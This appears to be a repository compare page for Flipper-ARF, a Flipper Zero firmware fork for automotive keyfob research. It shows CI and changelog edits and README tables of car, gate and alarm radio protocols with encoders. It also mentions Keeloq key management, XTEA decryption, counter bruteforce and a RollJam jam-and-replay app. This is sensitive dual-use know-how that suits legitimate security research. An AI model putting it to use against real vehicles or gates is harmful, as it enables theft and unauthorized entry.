Compare commits
127 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 4478f99dfe | |||
| ad4c171054 | |||
| 048fcc39e4 | |||
| f5c211041b | |||
| 589a2e36f2 | |||
| 161e26f2dc | |||
| bf9ca01621 | |||
| 86f5aae002 | |||
| 46f3a5c993 | |||
| 52015fb289 | |||
| 23ba62cd69 | |||
| cd1e9d6945 | |||
| c49b843096 | |||
| 0c35337bb7 | |||
| e419b9865a | |||
| a89cb55529 | |||
| efa653c7cf | |||
| 07957617e5 | |||
| 903104239b | |||
| 291c5320bb | |||
| edbc2f291e | |||
| c32ee61a4f | |||
| 0995609391 | |||
| 29fef56be1 | |||
| 6a348dd304 | |||
| 32a96e580d | |||
| 54f03a39c2 | |||
| a55189e2a4 | |||
| 14d10c0794 | |||
| 27818ccb1f | |||
| 0ebf26eff4 | |||
| ac620e2b0e | |||
| 46115cdf6c | |||
| f465c6edbb | |||
| ad795ae7ef | |||
| efff8d2f2e | |||
| c9c9c74117 | |||
| dc0f30dad9 | |||
| 38f261e23b | |||
| cb1daaa4f1 | |||
| b318b3e9ff | |||
| 117381e5a1 | |||
| 702cf5abc8 | |||
| 17011180d1 | |||
| d85657b6b3 | |||
| 2fd01bb911 | |||
| d23a892a16 | |||
| 16d06d75fe | |||
| 937a2204c1 | |||
| aaf16ec0de | |||
| cdd7c56b69 | |||
| 0fd985c67a | |||
| e93606aa87 | |||
| 3933a77b72 | |||
| ab665809ce | |||
| 56c5670956 | |||
| a5cf675561 | |||
| c6bec5ef4f | |||
| 883d387246 | |||
| 951f35c356 | |||
| 4e05a0e631 | |||
| 17d497e21e | |||
| d5b46ffefb | |||
| 9d2298114c | |||
| b93a970647 | |||
| c6265ea29b | |||
| 8e0a81b89d | |||
| 6f39fd4803 | |||
| 41d10f9b3d | |||
| 1f97aa2e3c | |||
| 5b9038173b | |||
| fde0a57595 | |||
| 3fb40944e6 | |||
| e61cfa765a | |||
| fd0dd6c324 | |||
| 8ff5e3c311 | |||
| 4974201851 | |||
| b0b464e3fb | |||
| 57226fc902 | |||
| cb9aee6422 | |||
| b720fac88a | |||
| 22daa7cfc3 | |||
| 1c9fddf076 | |||
| 4380d9f156 | |||
| a4da50c191 | |||
| e881d69ab3 | |||
| b041177398 | |||
| f347d5a976 | |||
| 3a6da87288 | |||
| 5d94639d81 | |||
| 5dcfc48e10 | |||
| 20a95b2fec | |||
| 3605669cc5 | |||
| fb1c28a0dd | |||
| 64a971e806 | |||
| 12db96a8ab | |||
| 4b50b8b70c | |||
| 0f24f8c105 | |||
| 238f39d0d8 | |||
| 4c3581735b | |||
| 689df5262d | |||
| 86c740d923 | |||
| 0aef017c15 | |||
| cea3bc3b6a | |||
| f3d08573a1 | |||
| 9e52a6eb6b | |||
| faf669b457 | |||
| e445b28d73 | |||
| 19e2eaa554 | |||
| 2571ad7f22 | |||
| 22a0870559 | |||
| 1c9d1f404a | |||
| fabb1ccc2d | |||
| 6a432a93ad | |||
| d2cca91ec8 | |||
| 6e483393e1 | |||
| 4dc688c25b | |||
| 585ce97358 | |||
| 592bf5f1ae | |||
| a02aabbbda | |||
| 3365fc4fed | |||
| a37ba6b815 | |||
| ab1231667c | |||
| fd7d8c1ea8 | |||
| 730bb318fb | |||
| ce085b6895 | |||
| f4c753b673 |
|
Before Width: | Height: | Size: 1.9 KiB After Width: | Height: | Size: 1.9 KiB |
|
After Width: | Height: | Size: 2.1 KiB |
|
After Width: | Height: | Size: 1.8 KiB |
|
After Width: | Height: | Size: 2.4 KiB |
|
Before Width: | Height: | Size: 1.9 KiB After Width: | Height: | Size: 1.9 KiB |
|
Before Width: | Height: | Size: 1.8 KiB After Width: | Height: | Size: 1.8 KiB |
|
Before Width: | Height: | Size: 2.1 KiB After Width: | Height: | Size: 2.1 KiB |
|
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 34 KiB |
|
Before Width: | Height: | Size: 1.9 KiB After Width: | Height: | Size: 1.9 KiB |
@@ -1,5 +1,2 @@
|
||||
# Default
|
||||
* @xMasterX
|
||||
|
||||
# Assets
|
||||
/assets/resources/infrared/assets/ @amec0e @Leptopt1los @xMasterX
|
||||
* ARF Crew
|
||||
|
||||
@@ -17,6 +17,7 @@ jobs:
|
||||
|
||||
- name: Build firmware
|
||||
run: |
|
||||
export DIST_SUFFIX=Flipper-ARF
|
||||
chmod +x fbt
|
||||
./fbt COMPACT=1 DEBUG=0 updater_package
|
||||
|
||||
@@ -28,7 +29,7 @@ jobs:
|
||||
id: firmware
|
||||
run: |
|
||||
DIR=$(ls -d dist/f7-* | head -n 1)
|
||||
FILE="$DIR/flipper-z-f7-update-local.tgz"
|
||||
FILE="$DIR/flipper-z-f7-update-Flipper-ARF.tgz"
|
||||
|
||||
if [ ! -f "$FILE" ]; then
|
||||
echo "Firmware file not found!"
|
||||
|
||||
@@ -81,4 +81,14 @@ node_modules/
|
||||
|
||||
#companion app
|
||||
/companion
|
||||
/Flipper-Android-App
|
||||
/Flipper-Android-App
|
||||
|
||||
#WIP not ready to push protocols
|
||||
|
||||
lib/subghz/protocols/subghz_protocol_honda_pandora.c
|
||||
lib/subghz/protocols/honda_rolling.c
|
||||
lib/subghz/protocols/honda_rolling.h
|
||||
lib/subghz/protocols/honda_pandora.c
|
||||
lib/subghz/protocols/honda_pandora.h
|
||||
lib/subghz/protocols/toyota.c
|
||||
lib/subghz/protocols/toyota.h
|
||||
|
||||
@@ -1,66 +1,19 @@
|
||||
## Main changes
|
||||
- Current API: 87.6
|
||||
* SubGHz: Signal Settings Improvements (PR #968 | by @Dmitry422)
|
||||
* Apps: Build tag (**17feb2026**) - **Check out more Apps updates and fixes by following** [this link](https://github.com/xMasterX/all-the-plugins/commits/dev)
|
||||
## Other changes
|
||||
* MFKey: Update to v4.1 (by @noproto & @dchristle)
|
||||
<br><br>
|
||||
#### Known NFC post-refactor regressions list:
|
||||
- Mifare Mini clones reading is broken (original mini working fine) (OFW)
|
||||
- While reading some EMV capable cards via NFC->Read flipper may crash due to Desfire poller issue, read those cards via Extra actions->Read specific card type->EMV
|
||||
|
||||
----
|
||||
|
||||
[-> How to install firmware](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/HowToInstall.md)
|
||||
|
||||
[-> Unleashed FW Web Installer](https://web.unleashedflip.com)
|
||||
|
||||
## Please support development of the project
|
||||
|
||||
| Service | Remark | QR Code | Link/Wallet |
|
||||
|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------|
|
||||
| <img src="https://cdn.simpleicons.org/patreon/dark/white" alt="Patreon" width="14"/> **Patreon** | | <div align="center"><a href="https://github.com/user-attachments/assets/a88a90a5-28c3-40b4-864a-0c0b79494a42"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | [patreon.com/mmxdev](https://patreon.com/mmxdev) |
|
||||
| <img src="https://cdn.simpleicons.org/boosty" alt="Boosty" width="14"/> **Boosty** | patreon alternative | <div align="center"><a href="https://github.com/user-attachments/assets/893c0760-f738-42c1-acaa-916019a7bdf8"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | [boosty.to/mmxdev](https://boosty.to/mmxdev) |
|
||||
| <img src="https://gist.githubusercontent.com/m-xim/255a3ef36c886dec144a58864608084c/raw/71da807b4abbd1582e511c9ea30fad27f78d642a/cloudtips_icon.svg" alt="Cloudtips" width="14"/> CloudTips | only RU payments accepted | <div align="center"><a href="https://github.com/user-attachments/assets/5de31d6a-ef24-4d30-bd8e-c06af815332a"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | [pay.cloudtips.ru/p/7b3e9d65](https://pay.cloudtips.ru/p/7b3e9d65) |
|
||||
| <img src="https://raw.githubusercontent.com/gist/PonomareVlad/55c8708f11702b4df629ae61129a9895/raw/1657350724dab66f2ad68ea034c480a2df2a1dfd/YooMoney.svg" alt="YooMoney" width="14"/> YooMoney | only RU payments accepted | <div align="center"><a href="https://github.com/user-attachments/assets/33454f79-074b-4349-b453-f94fdadc3c68"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | [yoomoney.ru/fundraise/XA49mgQLPA0.221209](https://yoomoney.ru/fundraise/XA49mgQLPA0.221209) |
|
||||
| <img src="https://cdn.simpleicons.org/tether" alt="USDT" width="14"/> USDT | TRC20 | <div align="center"><a href="https://github.com/user-attachments/assets/0500498d-18ed-412d-a1a4-8a66d0b6f057"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `TSXcitMSnWXUFqiUfEXrTVpVewXy2cYhrs` |
|
||||
| <img src="https://cdn.simpleicons.org/ethereum" alt="ETH" width="14"/> ETH | BSC/ERC20-Tokens | <div align="center"><a href="https://github.com/user-attachments/assets/0f323e98-c524-4f41-abb2-f4f1cec83ab6"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `0xFebF1bBc8229418FF2408C07AF6Afa49152fEc6a` |
|
||||
| <img src="https://cdn.simpleicons.org/bitcoin" alt="BTC" width="14"/> BTC | | <div align="center"><a href="https://github.com/user-attachments/assets/5a904d45-947e-4b92-9f0f-7fbaaa7b37f8"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `bc1q0np836jk9jwr4dd7p6qv66d04vamtqkxrecck9` |
|
||||
| <img src="https://cdn.simpleicons.org/solana" alt="SOL" width="13"/> SOL | Solana/Tokens | <div align="center"><a href="https://github.com/user-attachments/assets/ab33c5e0-dd59-497b-9c91-ceb89c36b34d"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `DSgwouAEgu8iP5yr7EHHDqMNYWZxAqXWsTEeqCAXGLj8` |
|
||||
| <img src="https://cdn.simpleicons.org/dogecoin" alt="DOGE" width="14"/> DOGE | | <div align="center"><a href="https://github.com/user-attachments/assets/2937edd0-5c85-4465-a444-14d4edb481c0"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `D6R6gYgBn5LwTNmPyvAQR6bZ9EtGgFCpvv` |
|
||||
| <img src="https://cdn.simpleicons.org/litecoin" alt="LTC" width="14"/> LTC | | <div align="center"><a href="https://github.com/user-attachments/assets/441985fe-f028-4400-83c1-c215760c1e74"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `ltc1q3ex4ejkl0xpx3znwrmth4lyuadr5qgv8tmq8z9` |
|
||||
| <img src="https://bitcoincash.org/img/green/bitcoin-cash-circle.svg" alt="BCH" width="14"/> BCH | | <div align="center"><a href="https://github.com/user-attachments/assets/7f365976-19a3-4777-b17e-4bfba5f69eff"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `qquxfyzntuqufy2dx0hrfr4sndp0tucvky4sw8qyu3` |
|
||||
| <img src="https://cdn.simpleicons.org/monero" alt="XMR" width="14"/> XMR | Monero | <div align="center"><a href="https://github.com/user-attachments/assets/96186c06-61e7-4b4d-b716-6eaf1779bfd8"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `41xUz92suUu1u5Mu4qkrcs52gtfpu9rnZRdBpCJ244KRHf6xXSvVFevdf2cnjS7RAeYr5hn9MsEfxKoFDRSctFjG5fv1Mhn` |
|
||||
| <img src="https://cdn.simpleicons.org/ton" alt="TON" width="14"/> TON | | <div align="center"><a href="https://github.com/user-attachments/assets/92a57e57-7462-42b7-a342-6f22c6e600c1"><img src="https://github.com/user-attachments/assets/da3a864d-d1c7-42cc-8a86-6fcaf26663ec" alt="QR image"/></a></div> | `UQCOqcnYkvzOZUV_9bPE_8oTbOrOF03MnF-VcJyjisTZmsxa` |
|
||||
|
||||
|
||||
#### Thanks to our sponsors who supported project in the past and special thanks to sponsors who supports us on regular basis:
|
||||
@mishamyte, ClaraCrazy, Pathfinder [Count Zero cDc], callmezimbra, Quen0n, MERRON, grvpvl (lvpvrg), art_col, ThurstonWaffles, Moneron, UterGrooll, LUCFER, Northpirate, zloepuzo, T.Rat, Alexey B., ionelife, ...
|
||||
and all other great people who supported our project and me (xMasterX), thanks to you all!
|
||||
|
||||
|
||||
## **Recommended update option - Web Updater**
|
||||
|
||||
### What `e`, ` `, `c` means? What I need to download if I don't want to use Web updater?
|
||||
What build I should download and what this name means - `flipper-z-f7-update-(version)(e / c).tgz` ? <br>
|
||||
`flipper-z` = for Flipper Zero device<br>
|
||||
`f7` = Hardware version - same for all flipper zero devices<br>
|
||||
`update` = Update package, contains updater, all assets (plugins, IR libs, etc.), and firmware itself<br>
|
||||
`(version)` = Firmware version<br>
|
||||
| Designation | [Base Apps](https://github.com/xMasterX/all-the-plugins#default-pack) | [Extra Apps](https://github.com/xMasterX/all-the-plugins#extra-pack) |
|
||||
|-----|:---:|:---:|
|
||||
| ` ` | ✅ | |
|
||||
| `c` | | |
|
||||
| `e` | ✅ | ✅ |
|
||||
|
||||
**To enable RGB Backlight support go into LCD & Notifications settings**
|
||||
|
||||
⚠️RGB backlight [hardware mod](https://github.com/quen0n/flipperzero-firmware-rgb#readme), works only on modded flippers! do not enable on non modded device!
|
||||
|
||||
|
||||
Firmware Self-update package (update from microSD) - `flipper-z-f7-update-(version).tgz` for mobile app / qFlipper / web<br>
|
||||
Archive of `scripts` folder (contains scripts for FW/plugins development) - `flipper-z-any-scripts-(version).tgz`<br>
|
||||
SDK files for plugins development and uFBT - `flipper-z-f7-sdk-(version).zip`
|
||||
# Changelog
|
||||
|
||||
---
|
||||
|
||||
### Added
|
||||
- Protocol name allowlist filter: in Receiver Config, a new "Proto Filter"
|
||||
field accepts a comma-separated list of protocol names (e.g. "Ford V2,VAG").
|
||||
When set, the receiver ignores all decoded signals that are not in the list,
|
||||
reducing RAM usage and increasing the chance of capturing the target protocol.
|
||||
Leave empty to disable (default behavior, all protocols accepted).
|
||||
Setting is persisted in last_subghz.settings under the ProtocolFilter key.
|
||||
|
||||
### Changed
|
||||
- Protocol Filter: replaced free-text input with a dedicated protocol list
|
||||
scene (Proto Filter in Receiver Config). All registered protocols are shown
|
||||
as toggleable items (--- / ONLY). Selecting one or more protocols restricts
|
||||
the receiver to only show those; leaving all as --- disables the filter.
|
||||
The active count is shown inline in Receiver Config ("N set" or "All").
|
||||
Filter is persisted across sessions and cleared by Reset to default.
|
||||
|
||||
@@ -16,13 +16,13 @@ This project may incorporate, adapt, or build upon **other open-source projects*
|
||||
- [Supported Systems](#supported-systems)
|
||||
- [How to Build](#how-to-build)
|
||||
- [Project Scope](#project-scope)
|
||||
- [Implemented Protocols](#implemented-protocols)
|
||||
- [To Do / Planned Features](#to-do--planned-features)
|
||||
- [Design Philosophy](#design-philosophy)
|
||||
- [Research Direction](#research-direction)
|
||||
- [Contribution Policy](#contribution-policy)
|
||||
- [Citations & References](#citations--references)
|
||||
- [Disclaimer](#disclaimer)
|
||||
- [Special Thanks](#special-thanks-to-everyone-who-contributes-to-this-project)
|
||||
|
||||
---
|
||||
|
||||
@@ -30,12 +30,14 @@ This project may incorporate, adapt, or build upon **other open-source projects*
|
||||
|
||||
| | |
|
||||
|:---:|:---:|
|
||||
|  |  |
|
||||
|  |  |
|
||||
| Home Screen | Sub-GHz Scanner |
|
||||
|  |  |
|
||||
|  |  |
|
||||
| Keeloq Key Manager | Mod Hopping Config |
|
||||
|  |  |
|
||||
|  |  |
|
||||
| PSA XTEA Decrypt | Counter BruteForce |
|
||||
|  |  |
|
||||
| Custom Emulation Settings | Custom Emulation Scene |
|
||||
|
||||
---
|
||||
|
||||
@@ -43,67 +45,78 @@ This project may incorporate, adapt, or build upon **other open-source projects*
|
||||
|
||||
### Automotive Protocols
|
||||
|
||||
| Manufacturer | Protocol | Frequency | Modulation | Encoder | Decoder |
|
||||
|:---|:---|:---:|:---:|:---:|:---:|
|
||||
| VAG (VW/Audi/Skoda/Seat) | VAG GROUP | 433 MHz | AM | Yes | Yes |
|
||||
| Porsche | Cayenne | 433/868 MHz | AM | Yes | Yes |
|
||||
| PSA (Peugeot/Citroën/DS) | PSA GROUP | 433 MHz | AM/FM | Yes | Yes |
|
||||
| Ford | Ford V0 | 315/433 MHz | AM | Yes | Yes |
|
||||
| Fiat | Fiat SpA | 433 MHz | AM | Yes | Yes |
|
||||
| Fiat | Fiat Marelli | 433 MHz | AM | No | Yes |
|
||||
| Subaru | Subaru | 433 MHz | AM | Yes | Yes |
|
||||
| Mazda | Siemens (5WK49365D) | 315/433 MHz | FM | Yes | Yes |
|
||||
| Kia/Hyundai | Kia V0 | 433 MHz | FM | Yes | Yes |
|
||||
| Kia/Hyundai | Kia V1 | 315/433 MHz | AM | Yes | Yes |
|
||||
| Kia/Hyundai | Kia V2 | 315/433 MHz | FM | Yes | Yes |
|
||||
| Kia/Hyundai | Kia V3/V4 | 315/433 MHz | AM/FM | Yes | Yes |
|
||||
| Kia/Hyundai | Kia V5 | 433 MHz | FM | Yes | Yes |
|
||||
| Kia/Hyundai | Kia V6 | 433 MHz | FM | Yes | Yes |
|
||||
| Suzuki | Suzuki | 433 MHz | FM | Yes | Yes |
|
||||
| Mitsubishi | Mitsubishi V0 | 868 MHz | FM | Yes | Yes |
|
||||
| Manufacturer | Protocol | Frequency | Modulation | Encoder | Decoder | CRC |
|
||||
|:---|:---|:---:|:---:|:---:|:---:|:---:|
|
||||
| VAG (VW/Audi/Skoda/Seat) | VAG GROUP | 433 MHz | AM | Yes | Yes | No |
|
||||
| Porsche | Porsche AG | 433/868 MHz | AM | Yes | Yes | No |
|
||||
| PSA (Peugeot/Citroën/DS) | PSA GROUP | 433 MHz | AM/FM | Yes | Yes | Yes |
|
||||
| Ford | Ford V0 | 315/433 MHz | AM | Yes | Yes | Yes |
|
||||
| Ford | Ford V1 | 315/433 MHz | FM | Yes | Yes | Yes |
|
||||
| Fiat | Fiat SpA | 433 MHz | AM | Yes | Yes | Yes |
|
||||
| Fiat | Marelli/Delphi | 433 MHz | AM | No | Yes | Yes |
|
||||
| Renault (old models) | Marelli | 433 MHz | AM | No | Yes | No|
|
||||
| Mazda | Siemens (5WK49365D) | 315/433 MHz | AM/FM | Yes | Yes | Yes |
|
||||
| Kia/Hyundai | KIA/HYU V0 | 433 MHz | FM | Yes | Yes | Yes |
|
||||
| Kia/Hyundai | KIA/HYU V1 | 315/433 MHz | AM | Yes | Yes | Yes |
|
||||
| Kia/Hyundai | KIA/HYU V2 | 315/433 MHz | AM/FM | Yes | Yes | Yes |
|
||||
| Kia/Hyundai | KIA/HYU V3/V4 | 315/433 MHz | AM/FM | Yes | Yes | Yes |
|
||||
| Kia/Hyundai | KIA/HYU V5 | 433 MHz | FM | Yes | Yes | Yes |
|
||||
| Kia/Hyundai | KIA/HYU V6 | 433 MHz | FM | Yes | Yes | Yes |
|
||||
| Kia/Hyundai | KIA V7 | 433 MHz | FM | Yes | Yes | Yes |
|
||||
| Subaru | Subaru | 433 MHz | AM | Yes | Yes | No |
|
||||
| Suzuki | Suzuki | 433 MHz | FM | Yes | Yes | Yes |
|
||||
| Mitsubishi | Mitsubishi V0 | 868 MHz | FM | Yes | Yes | No |
|
||||
| Honda | Honda Type A/B | 433 MHz | FM (custom) | Yes | Yes | No |
|
||||
| Starline | Star Line | 433 MHz | AM | Yes | Yes | No |
|
||||
| Scher-Khan | Scher-Khan | 433 MHz | FM | Yes | Yes | No |
|
||||
| Scher-Khan | Magic Code PRO1/PRO2 | 433 MHz | FM | Yes | Yes | Yes |
|
||||
| Sheriff | Sheriff CFM (ZX-750/930) | 433 MHz | AM | Yes | Yes | No |
|
||||
| Chrysler/Dodge/Jeep | FOBIK GQ43VT | 315/433 MHz | AM | Yes | Yes | No |
|
||||
| Honda | Honda Static | 433 MHz | AM | Yes | Yes | No |
|
||||
|
||||
### Gate / Access Protocols
|
||||
|
||||
| Protocol | Frequency | Modulation | Encoder | Decoder |
|
||||
|:---|:---:|:---:|:---:|:---:|
|
||||
| Keeloq | 433/868/315 MHz | AM | Yes | Yes |
|
||||
| Nice FLO | 433 MHz | AM | Yes | Yes |
|
||||
| Nice FloR-S | 433 MHz | AM | Yes | Yes |
|
||||
| CAME | 433/315 MHz | AM | Yes | Yes |
|
||||
| CAME TWEE | 433 MHz | AM | Yes | Yes |
|
||||
| CAME Atomo | 433 MHz | AM | Yes | Yes |
|
||||
| Faac SLH | 433/868 MHz | AM | Yes | Yes |
|
||||
| Somfy Telis | 433 MHz | AM | Yes | Yes |
|
||||
| Somfy Keytis | 433 MHz | AM | Yes | Yes |
|
||||
| Alutech AT-4N | 433 MHz | AM | Yes | Yes |
|
||||
| KingGates Stylo4k | 433 MHz | AM | Yes | Yes |
|
||||
| Beninca ARC | 433 MHz | AM | Yes | Yes |
|
||||
| Hormann HSM | 433/868 MHz | AM | Yes | Yes |
|
||||
| Marantec | 433 MHz | AM | Yes | Yes |
|
||||
| Marantec24 | 433 MHz | AM | Yes | Yes |
|
||||
| Protocol | Frequency | Modulation | Encoder | Decoder | CRC |
|
||||
|:---|:---:|:---:|:---:|:---:|:---:|
|
||||
| Keeloq | 433/868/315 MHz | AM | Yes | Yes | No |
|
||||
| Nice FLO | 433 MHz | AM | Yes | Yes | No |
|
||||
| Nice FloR-S | 433 MHz | AM | Yes | Yes | Yes |
|
||||
| CAME | 433/315 MHz | AM | Yes | Yes | No |
|
||||
| CAME TWEE | 433 MHz | AM | Yes | Yes | No |
|
||||
| CAME Atomo | 433 MHz | AM | Yes | Yes | No |
|
||||
| Faac SLH | 433/868 MHz | AM | Yes | Yes | No |
|
||||
| Holtek | 433 MHz | AM | Yes | Yes | No |
|
||||
| Holtek-Ht12x | 433 MHz | AM | Yes | Yes | No |
|
||||
| Somfy Telis | 433 MHz | AM | Yes | Yes | Yes |
|
||||
| Somfy Keytis | 433 MHz | AM | Yes | Yes | Yes |
|
||||
| Alutech AT-4N | 433 MHz | AM | Yes | Yes | Yes |
|
||||
| Keyfinder | 433 MHz | AM | Yes | Yes | No |
|
||||
| KingGates Stylo4k | 433 MHz | AM | Yes | Yes | No |
|
||||
| Beninca ARC | 433 MHz | AM | Yes | Yes | No |
|
||||
| Hormann HSM | 433/868 MHz | AM | Yes | Yes | No |
|
||||
| Marantec | 433 MHz | AM | Yes | Yes | Yes |
|
||||
| Marantec24 | 433 MHz | AM | Yes | Yes | Yes |
|
||||
|
||||
### General Static Protocols
|
||||
### General Protocols
|
||||
|
||||
| Protocol | Frequency | Modulation | Encoder | Decoder |
|
||||
|:---|:---:|:---:|:---:|:---:|
|
||||
| Princeton | 433/315 MHz | AM | Yes | Yes |
|
||||
| Linear | 315 MHz | AM | Yes | Yes |
|
||||
| LinearDelta3 | 315 MHz | AM | Yes | Yes |
|
||||
| GateTX | 433 MHz | AM | Yes | Yes |
|
||||
| Security+ 1.0 | 315 MHz | AM | Yes | Yes |
|
||||
| Security+ 2.0 | 315 MHz | AM | Yes | Yes |
|
||||
| Chamberlain Code | 315 MHz | AM | Yes | Yes |
|
||||
| MegaCode | 315 MHz | AM | Yes | Yes |
|
||||
| Mastercode | 433 MHz | AM | Yes | Yes |
|
||||
| Dickert MAHS | 433 MHz | AM | Yes | Yes |
|
||||
| SMC5326 | 433 MHz | AM | Yes | Yes |
|
||||
| Phoenix V2 | 433 MHz | AM | Yes | Yes |
|
||||
| Doitrand | 433 MHz | AM | Yes | Yes |
|
||||
| Hay21 | 433 MHz | AM | Yes | Yes |
|
||||
| Revers RB2 | 433 MHz | AM | Yes | Yes |
|
||||
| Roger | 433 MHz | AM | Yes | Yes |
|
||||
| BinRAW | 433/315/868 MHz | AM/FM | Yes | Yes |
|
||||
| RAW | All | All | Yes | Yes |
|
||||
| Protocol | Frequency | Modulation | Encoder | Decoder | CRC |
|
||||
|:---|:---:|:---:|:---:|:---:|:---:|
|
||||
| Princeton | 433/315 MHz | AM | Yes | Yes | No |
|
||||
| Linear | 315 MHz | AM | Yes | Yes | No |
|
||||
| LinearDelta3 | 315 MHz | AM | Yes | Yes | No |
|
||||
| GateTX | 433 MHz | AM | Yes | Yes | No |
|
||||
| Security+ 1.0 | 315 MHz | AM | Yes | Yes | No |
|
||||
| Security+ 2.0 | 315 MHz | AM | Yes | Yes | No |
|
||||
| Chamberlain Code | 315 MHz | AM | Yes | Yes | No |
|
||||
| MegaCode | 315 MHz | AM | Yes | Yes | No |
|
||||
| Mastercode | 433 MHz | AM | Yes | Yes | No |
|
||||
| Dickert MAHS | 433 MHz | AM | Yes | Yes | No |
|
||||
| SMC5326 | 433 MHz | AM | Yes | Yes | No |
|
||||
| Phoenix V2 | 433 MHz | AM | Yes | Yes | No |
|
||||
| Doitrand | 433 MHz | AM | Yes | Yes | No |
|
||||
| Hay21 | 433 MHz | AM | Yes | Yes | No |
|
||||
| Revers RB2 | 433 MHz | AM | Yes | Yes | No |
|
||||
| Roger | 433 MHz | AM | Yes | Yes | No |
|
||||
|
||||
---
|
||||
|
||||
@@ -111,9 +124,14 @@ This project may incorporate, adapt, or build upon **other open-source projects*
|
||||
|
||||
Compact release build:
|
||||
|
||||
To build:
|
||||
```
|
||||
./fbt COMPACT=1 DEBUG=0 updater_package
|
||||
```
|
||||
To flash:
|
||||
```
|
||||
./fbt COMPACT=1 DEBUG=0 flash_usb_full
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
@@ -126,7 +144,7 @@ Flipper-ARF aims to achieve:
|
||||
- Stable encoder/decoder implementations
|
||||
- Modular protocol expansion
|
||||
|
||||
**Primary focus:** VAG, PSA, Fiat, Ford, Asian platforms, and aftermarket alarm systems.
|
||||
**Primary focus:** Automotives/Alarm's keyfob protocols, keeloq, and keyless systems.
|
||||
|
||||
> ⚠ This is a protocol-focused research firmware, not a general-purpose firmware.
|
||||
|
||||
@@ -134,11 +152,9 @@ Flipper-ARF aims to achieve:
|
||||
|
||||
## To Do / Planned Features
|
||||
|
||||
- [ ] Add Scher Khan & Starline protocols
|
||||
- [ ] Marelli BSI encodere and encryption
|
||||
- [ ] Fix and reintegrate RollJam app (future updates)
|
||||
- [ ] Expand and refine Subaru, Kia, PSA, and other manufacturer protocols
|
||||
- [ ] Improve collaboration workflow to avoid overlapping work
|
||||
- [ ] Marelli BSI encoder and encryption
|
||||
- [ ] Improve RollJam app
|
||||
- [ ] Expand and refine as many manufacturer protocols as possible
|
||||
|
||||
---
|
||||
|
||||
@@ -179,7 +195,7 @@ Contributions are welcome if they:
|
||||
> Non-automotive features are considered out-of-scope for now.
|
||||
|
||||
### This code is a mess!
|
||||

|
||||

|
||||
---
|
||||
|
||||
## Citations & References
|
||||
@@ -190,7 +206,8 @@ The following academic publications have been invaluable to the development and
|
||||
|
||||
- **Lock It and Still Lose It — On the (In)Security of Automotive Remote Keyless Entry Systems**
|
||||
Flavio D. Garcia, David Oswald, Timo Kasper, Pierre Pavlidès
|
||||
*USENIX Security 2016*
|
||||
*USENIX Security 2016, pp. 929–944*
|
||||
DOI: [10.5555/3241094.3241166](https://doi.org/10.5555/3241094.3241166)
|
||||
https://www.usenix.org/system/files/conference/usenixsecurity16/sec16_paper_garcia.pdf
|
||||
|
||||
- **Clonable Key Fobs: Analyzing and Breaking RKE Protocols**
|
||||
@@ -213,33 +230,65 @@ The following academic publications have been invaluable to the development and
|
||||
*Wiley, February 2025*
|
||||
DOI: [10.1002/9781394351930.ch11](https://doi.org/10.1002/9781394351930.ch11)
|
||||
|
||||
### DST Cipher Family (DST40 / DST80)
|
||||
|
||||
- **Security Analysis of a Cryptographically-Enabled RFID Device**
|
||||
Steve Bono, Matthew Green, Adam Stubblefield, Ari Juels, Avi Rubin, Michael Szydlo
|
||||
*14th USENIX Security Symposium (USENIX Security '05)*
|
||||
https://www.usenix.org/conference/14th-usenix-security-symposium/security-analysis-cryptographically-enabled-rfid-device
|
||||
https://www.usenix.org/legacy/event/sec05/tech/bono/bono.pdf
|
||||
|
||||
- **Dismantling DST80-based Immobiliser Systems**
|
||||
Lennert Wouters, Jan Van den Herrewegen, Flavio D. Garcia, David Oswald, Benedikt Gierlichs, Bart Preneel
|
||||
*IACR Transactions on Cryptographic Hardware and Embedded Systems (TCHES), 2020, Vol. 2020(2), pp. 99–127*
|
||||
DOI: [10.13154/tches.v2020.i2.99-127](https://doi.org/10.13154/tches.v2020.i2.99-127)
|
||||
|
||||
### KeeLoq Cryptanalysis
|
||||
|
||||
- **Cryptanalysis of the KeeLoq Block Cipher**
|
||||
Andrey Bogdanov
|
||||
*Cryptology ePrint Archive, Paper 2007/055*
|
||||
*Cryptology ePrint Archive, Paper 2007/055; also presented at RFIDSec 2007*
|
||||
https://eprint.iacr.org/2007/055
|
||||
|
||||
- **On the Power of Power Analysis in the Real World: A Complete Break of the KeeLoq Code Hopping Scheme**
|
||||
Thomas Eisenbarth, Timo Kasper, Amir Moradi, Christof Paar, Mahmoud Salmasizadeh, Mohammad T. Manzuri Shalmani
|
||||
*CRYPTO 2008*
|
||||
https://www.iacr.org/archive/crypto2008/51570204/51570204.pdf
|
||||
|
||||
- **A Practical Attack on KeeLoq**
|
||||
Sebastiaan Indesteege, Nathan Keller, Orr Dunkelman, Eli Biham, Bart Preneel
|
||||
